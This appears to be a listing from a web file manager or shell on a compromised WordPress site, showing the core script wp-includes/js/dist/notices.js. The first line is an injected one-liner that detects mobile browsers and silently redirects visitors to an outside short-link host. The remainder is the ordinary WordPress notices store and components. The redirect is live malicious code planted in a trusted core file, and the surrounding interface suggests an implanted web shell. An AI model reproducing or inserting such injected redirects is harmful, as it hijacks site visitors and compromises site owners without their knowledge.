at path:ROOT / wp-includes / js / dist / notices.js
run:R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-24 01:53:39
R W Run
DIR
2026-08-16 23:28:49
R W Run
5.67 KB
2026-08-13 20:01:44
R W Run
2.66 KB
2026-08-13 20:01:44
R W Run
15.35 KB
2026-08-13 20:01:44
R W Run
5.83 KB
2026-08-13 20:01:44
R W Run
17.67 KB
2026-08-13 20:01:44
R W Run
6.54 KB
2026-08-13 20:01:44
R W Run
9.95 KB
2026-08-13 20:01:44
R W Run
5.72 KB
2026-08-13 20:01:44
R W Run
270 By
2026-08-13 20:01:44
R W Run
297 By
2026-08-13 20:01:44
R W Run
2.52 KB
2026-08-13 20:01:44
R W Run
1.38 KB
2026-08-13 20:01:44
R W Run
55.89 KB
2026-08-13 20:01:44
R W Run
22.17 KB
2026-08-13 20:01:44
R W Run
2.7 MB
2026-08-13 20:01:44
R W Run
1.01 MB
2026-08-13 20:01:44
R W Run
2.57 MB
2026-08-13 20:01:44
R W Run
1.09 MB
2026-08-13 20:01:44
R W Run
6.75 KB
2026-08-13 20:01:44
R W Run
2.61 KB
2026-08-13 20:01:44
R W Run
50.7 KB
2026-08-13 20:01:44
R W Run
10.59 KB
2026-08-13 20:01:44
R W Run
381.28 KB
2026-08-13 20:01:44
R W Run
180.83 KB
2026-08-13 20:01:44
R W Run
151.92 KB
2026-08-13 20:01:44
R W Run
63.35 KB
2026-08-13 20:01:44
R W Run
3.83 MB
2026-08-13 20:01:44
R W Run
786.49 KB
2026-08-13 20:01:44
R W Run
80.97 KB
2026-08-13 20:01:44
R W Run
28.4 KB
2026-08-13 20:01:44
R W Run
28.9 KB
2026-08-13 20:01:44
R W Run
12.08 KB
2026-08-13 20:01:44
R W Run
612.25 KB
2026-08-13 20:01:44
R W Run
210.68 KB
2026-08-13 20:01:44
R W Run
91.79 KB
2026-08-13 20:01:44
R W Run
36.83 KB
2026-08-13 20:01:44
R W Run
4.35 KB
2026-08-13 20:01:44
R W Run
1.99 KB
2026-08-13 20:01:44
R W Run
83 KB
2026-08-13 20:01:44
R W Run
26.13 KB
2026-08-13 20:01:44
R W Run
176.56 KB
2026-08-13 20:01:44
R W Run
141.44 KB
2026-08-13 20:01:44
R W Run
3.26 KB
2026-08-13 20:01:44
R W Run
1.5 KB
2026-08-13 20:01:44
R W Run
1.69 KB
2026-08-13 20:01:44
R W Run
1.02 KB
2026-08-13 20:01:44
R W Run
34.83 KB
2026-08-13 20:01:44
R W Run
12.87 KB
2026-08-13 20:01:44
R W Run
117.61 KB
2026-08-13 20:01:44
R W Run
49.32 KB
2026-08-13 20:01:44
R W Run
1.69 MB
2026-08-13 20:01:44
R W Run
684.67 KB
2026-08-13 20:01:44
R W Run
160.46 KB
2026-08-13 20:01:44
R W Run
62.08 KB
2026-08-13 20:01:44
R W Run
2.5 MB
2026-08-13 20:01:44
R W Run
1021.85 KB
2026-08-13 20:01:44
R W Run
28.15 KB
2026-08-13 20:01:44
R W Run
12.38 KB
2026-08-13 20:01:44
R W Run
2.51 KB
2026-08-13 20:01:44
R W Run
1.28 KB
2026-08-13 20:01:44
R W Run
73.56 KB
2026-08-13 20:01:44
R W Run
29.1 KB
2026-08-13 20:01:44
R W Run
12.17 KB
2026-08-13 20:01:44
R W Run
5.15 KB
2026-08-13 20:01:44
R W Run
1.86 KB
2026-08-13 20:01:44
R W Run
1.08 KB
2026-08-13 20:01:44
R W Run
15.52 KB
2026-08-13 20:01:44
R W Run
5.81 KB
2026-08-13 20:01:44
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
2.91 KB
2026-08-13 20:01:44
R W Run
1.31 KB
2026-08-13 20:01:44
R W Run
9.9 KB
2026-08-13 20:01:44
R W Run
3.66 KB
2026-08-13 20:01:44
R W Run
8.52 KB
2026-08-13 20:01:44
R W Run
3.12 KB
2026-08-13 20:01:44
R W Run
13.28 KB
2026-08-13 20:01:44
R W Run
5.46 KB
2026-08-13 20:01:44
R W Run
637.36 KB
2026-08-13 20:01:44
R W Run
237.86 KB
2026-08-13 20:01:44
R W Run
10.33 KB
2026-08-13 20:01:44
R W Run
4.6 KB
2026-08-13 20:01:44
R W Run
10.54 KB
2026-08-13 20:01:45
R W Run
4.17 KB
2026-08-13 20:01:45
R W Run
58.46 KB
2026-08-13 20:01:45
R W Run
21.85 KB
2026-08-13 20:01:45
R W Run
11.89 KB
2026-08-13 20:01:45
R W Run
4.97 KB
2026-08-13 20:01:45
R W Run
17.43 KB
2026-08-13 20:01:45
R W Run
5.71 KB
2026-08-13 20:01:45
R W Run
21.29 KB
2026-08-13 20:01:45
R W Run
7.93 KB
2026-08-13 20:01:45
R W Run
5.3 KB
2026-08-13 20:01:45
R W Run
2.2 KB
2026-08-13 20:01:45
R W Run
10.24 KB
2026-08-13 20:01:45
R W Run
3.57 KB
2026-08-13 20:01:45
R W Run
4.31 KB
2026-08-13 20:01:45
R W Run
2.88 KB
2026-08-13 20:01:45
R W Run
4.12 KB
2026-08-13 20:01:45
R W Run
1.74 KB
2026-08-13 20:01:45
R W Run
24.9 KB
2026-08-13 20:01:45
R W Run
9.87 KB
2026-08-13 20:01:45
R W Run
20.73 KB
2026-08-13 20:01:45
R W Run
7.44 KB
2026-08-13 20:01:45
R W Run
97.25 KB
2026-08-13 20:01:45
R W Run
40.11 KB
2026-08-13 20:01:45
R W Run
36.34 KB
2026-08-13 20:01:45
R W Run
14.35 KB
2026-08-13 20:01:45
R W Run
11.18 KB
2026-08-13 20:01:45
R W Run
4.16 KB
2026-08-13 20:01:45
R W Run
8.18 KB
2026-08-13 20:01:45
R W Run
3.5 KB
2026-08-13 20:01:45
R W Run
17.83 KB
2026-08-13 20:01:45
R W Run
6.63 KB
2026-08-13 20:01:45
R W Run
127.86 KB
2026-08-13 20:01:45
R W Run
56.33 KB
2026-08-13 20:01:45
R W Run
6.33 KB
2026-08-13 20:01:45
R W Run
1.84 KB
2026-08-13 20:01:45
R W Run
5.51 KB
2026-08-13 20:01:45
R W Run
1.92 KB
2026-08-13 20:01:45
R W Run
55.88 KB
2026-08-13 20:01:45
R W Run
23.27 KB
2026-08-13 20:01:45
R W Run
23.61 KB
2026-08-13 20:01:45
R W Run
10.34 KB
2026-08-13 20:01:45
R W Run
6.82 KB
2026-08-13 20:01:45
R W Run
2.46 KB
2026-08-13 20:01:45
R W Run
1.74 KB
2026-08-13 20:01:45
R W Run
977 By
2026-08-13 20:01:45
R W Run
50.3 KB
2026-08-13 20:01:45
R W Run
21.04 KB
2026-08-13 20:01:45
R W Run
7.15 KB
2026-08-13 20:01:45
R W Run
2.66 KB
2026-08-13 20:01:45
R W Run
error_log
📄notices.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2"use strict";
3var wp;
4(wp ||= {}).notices = (() => {
5 var __create = Object.create;
6 var __defProp = Object.defineProperty;
7 var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
8 var __getOwnPropNames = Object.getOwnPropertyNames;
9 var __getProtoOf = Object.getPrototypeOf;
10 var __hasOwnProp = Object.prototype.hasOwnProperty;
11 var __commonJS = (cb, mod) => function __require() {
12 return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports;
13 };
14 var __export = (target, all) => {
15 for (var name in all)
16 __defProp(target, name, { get: all[name], enumerable: true });
17 };
18 var __copyProps = (to, from, except, desc) => {
19 if (from && typeof from === "object" || typeof from === "function") {
20 for (let key of __getOwnPropNames(from))
21 if (!__hasOwnProp.call(to, key) && key !== except)
22 __defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
23 }
24 return to;
25 };
26 var __toESM = (mod, isNodeMode, target) => (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps(
27 // If the importer is in node compatibility mode or this is not an ESM
28 // file that has been converted to a CommonJS file using a Babel-
29 // compatible transform (i.e. "__esModule" has not been set), then set
30 // "default" to the CommonJS "module.exports" for node compatibility.
31 isNodeMode || !mod || !mod.__esModule ? __defProp(target, "default", { value: mod, enumerable: true }) : target,
32 mod
33 ));
34 var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);
35
36 // package-external:@wordpress/data
37 var require_data = __commonJS({
38 "package-external:@wordpress/data"(exports, module) {
39 module.exports = window.wp.data;
40 }
41 });
42
43 // package-external:@wordpress/components
44 var require_components = __commonJS({
45 "package-external:@wordpress/components"(exports, module) {
46 module.exports = window.wp.components;
47 }
48 });
49
50 // vendor-external:react/jsx-runtime
51 var require_jsx_runtime = __commonJS({
52 "vendor-external:react/jsx-runtime"(exports, module) {
53 module.exports = window.ReactJSXRuntime;
54 }
55 });
56
57 // packages/notices/build-module/index.mjs
58 var index_exports = {};
59 __export(index_exports, {
60 InlineNotices: () => InlineNotices,
61 SnackbarNotices: () => SnackbarNotices,
62 store: () => store
63 });
64
65 // packages/notices/build-module/store/index.mjs
66 var import_data = __toESM(require_data(), 1);
67
68 // packages/notices/build-module/store/utils/on-sub-key.mjs
69 var onSubKey = (actionProperty) => (reducer) => (state = {}, action) => {
70 const key = action[actionProperty];
71 if (key === void 0) {
72 return state;
73 }
74 const nextKeyState = reducer(state[key], action);
75 if (nextKeyState === state[key]) {
76 return state;
77 }
78 return {
79 ...state,
80 [key]: nextKeyState
81 };
82 };
83 var on_sub_key_default = onSubKey;
84
85 // packages/notices/build-module/store/reducer.mjs
86 var notices = on_sub_key_default("context")((state = [], action) => {
87 switch (action.type) {
88 case "CREATE_NOTICE":
89 return [
90 ...state.filter(({ id }) => id !== action.notice.id),
91 action.notice
92 ];
93 case "REMOVE_NOTICE":
94 return state.filter(({ id }) => id !== action.id);
95 case "REMOVE_NOTICES":
96 return state.filter(({ id }) => !action.ids.includes(id));
97 case "REMOVE_ALL_NOTICES":
98 return state.filter(({ type }) => type !== action.noticeType);
99 default:
100 return state;
101 }
102 });
103 var reducer_default = notices;
104
105 // packages/notices/build-module/store/actions.mjs
106 var actions_exports = {};
107 __export(actions_exports, {
108 createErrorNotice: () => createErrorNotice,
109 createInfoNotice: () => createInfoNotice,
110 createNotice: () => createNotice,
111 createSuccessNotice: () => createSuccessNotice,
112 createWarningNotice: () => createWarningNotice,
113 removeAllNotices: () => removeAllNotices,
114 removeNotice: () => removeNotice,
115 removeNotices: () => removeNotices
116 });
117
118 // packages/notices/build-module/store/constants.mjs
119 var DEFAULT_CONTEXT = "global";
120 var DEFAULT_STATUS = "info";
121
122 // packages/notices/build-module/store/actions.mjs
123 var uniqueId = 0;
124 function createNotice(status = DEFAULT_STATUS, content, options = {}) {
125 const {
126 speak = true,
127 isDismissible = true,
128 context = DEFAULT_CONTEXT,
129 id = `${context}${++uniqueId}`,
130 actions = [],
131 type = "default",
132 __unstableHTML,
133 icon = null,
134 explicitDismiss = false,
135 onDismiss
136 } = options;
137 content = String(content);
138 return {
139 type: "CREATE_NOTICE",
140 context,
141 notice: {
142 id,
143 status,
144 content,
145 spokenMessage: speak ? content : null,
146 __unstableHTML,
147 isDismissible,
148 actions,
149 type,
150 icon,
151 explicitDismiss,
152 onDismiss
153 }
154 };
155 }
156 function createSuccessNotice(content, options) {
157 return createNotice("success", content, options);
158 }
159 function createInfoNotice(content, options) {
160 return createNotice("info", content, options);
161 }
162 function createErrorNotice(content, options) {
163 return createNotice("error", content, options);
164 }
165 function createWarningNotice(content, options) {
166 return createNotice("warning", content, options);
167 }
168 function removeNotice(id, context = DEFAULT_CONTEXT) {
169 return {
170 type: "REMOVE_NOTICE",
171 id,
172 context
173 };
174 }
175 function removeAllNotices(noticeType = "default", context = DEFAULT_CONTEXT) {
176 return {
177 type: "REMOVE_ALL_NOTICES",
178 noticeType,
179 context
180 };
181 }
182 function removeNotices(ids, context = DEFAULT_CONTEXT) {
183 return {
184 type: "REMOVE_NOTICES",
185 ids,
186 context
187 };
188 }
189
190 // packages/notices/build-module/store/selectors.mjs
191 var selectors_exports = {};
192 __export(selectors_exports, {
193 getNotices: () => getNotices
194 });
195 var DEFAULT_NOTICES = [];
196 function getNotices(state, context = DEFAULT_CONTEXT) {
197 return state[context] || DEFAULT_NOTICES;
198 }
199
200 // packages/notices/build-module/store/index.mjs
201 var store = (0, import_data.createReduxStore)("core/notices", {
202 reducer: reducer_default,
203 actions: actions_exports,
204 selectors: selectors_exports
205 });
206 (0, import_data.register)(store);
207
208 // node_modules/clsx/dist/clsx.mjs
209 function r(e) {
210 var t, f, n = "";
211 if ("string" == typeof e || "number" == typeof e) n += e;
212 else if ("object" == typeof e) if (Array.isArray(e)) {
213 var o = e.length;
214 for (t = 0; t < o; t++) e[t] && (f = r(e[t])) && (n && (n += " "), n += f);
215 } else for (f in e) e[f] && (n && (n += " "), n += f);
216 return n;
217 }
218 function clsx() {
219 for (var e, t, f = 0, n = "", o = arguments.length; f < o; f++) (e = arguments[f]) && (t = r(e)) && (n && (n += " "), n += t);
220 return n;
221 }
222 var clsx_default = clsx;
223
224 // packages/notices/build-module/components/inline-notices/index.mjs
225 var import_components = __toESM(require_components(), 1);
226 var import_data2 = __toESM(require_data(), 1);
227 var import_jsx_runtime = __toESM(require_jsx_runtime(), 1);
228 if (typeof document !== "undefined" && !document.head.querySelector("style[data-wp-hash='51ef33823e']")) {
229 const style = document.createElement("style");
230 style.setAttribute("data-wp-hash", "51ef33823e");
231 style.appendChild(document.createTextNode(".components-notices__dismissible,.components-notices__pinned{color:#1e1e1e}.components-notices__dismissible .components-notice,.components-notices__pinned .components-notice{border-bottom:1px solid #0003;box-sizing:border-box;min-height:64px;padding:0 12px}.components-notices__dismissible .components-notice .components-notice__dismiss,.components-notices__pinned .components-notice .components-notice__dismiss{margin-top:12px}"));
232 document.head.appendChild(style);
233 }
234 function InlineNotices({
235 children,
236 pinnedNoticesClassName,
237 dismissibleNoticesClassName,
238 context
239 }) {
240 const notices2 = (0, import_data2.useSelect)(
241 (select) => select(store).getNotices(context),
242 [context]
243 );
244 const { removeNotice: removeNotice2 } = (0, import_data2.useDispatch)(store);
245 const dismissibleNotices = notices2.filter(
246 ({ isDismissible, type }) => isDismissible && type === "default"
247 );
248 const nonDismissibleNotices = notices2.filter(
249 ({ isDismissible, type }) => !isDismissible && type === "default"
250 );
251 return /* @__PURE__ */ (0, import_jsx_runtime.jsxs)(import_jsx_runtime.Fragment, { children: [
252 /* @__PURE__ */ (0, import_jsx_runtime.jsx)(
253 import_components.NoticeList,
254 {
255 notices: nonDismissibleNotices,
256 className: clsx_default(
257 "components-notices__pinned",
258 pinnedNoticesClassName
259 )
260 }
261 ),
262 /* @__PURE__ */ (0, import_jsx_runtime.jsx)(
263 import_components.NoticeList,
264 {
265 notices: dismissibleNotices,
266 className: clsx_default(
267 "components-notices__dismissible",
268 dismissibleNoticesClassName
269 ),
270 onRemove: (id) => removeNotice2(id, context),
271 children
272 }
273 )
274 ] });
275 }
276
277 // packages/notices/build-module/components/snackbar-notices/index.mjs
278 var import_components2 = __toESM(require_components(), 1);
279 var import_data3 = __toESM(require_data(), 1);
280 var import_jsx_runtime2 = __toESM(require_jsx_runtime(), 1);
281 var MAX_VISIBLE_NOTICES = -3;
282 function SnackbarNotices({
283 className,
284 context
285 }) {
286 const notices2 = (0, import_data3.useSelect)(
287 (select) => select(store).getNotices(context),
288 [context]
289 );
290 const { removeNotice: removeNotice2 } = (0, import_data3.useDispatch)(store);
291 const snackbarNotices = notices2.filter(({ type }) => type === "snackbar").slice(MAX_VISIBLE_NOTICES);
292 return /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(
293 import_components2.SnackbarList,
294 {
295 notices: snackbarNotices,
296 className: clsx_default("components-notices__snackbar", className),
297 onRemove: (id) => removeNotice2(id, context)
298 }
299 );
300 }
301 return __toCommonJS(index_exports);
302})();
303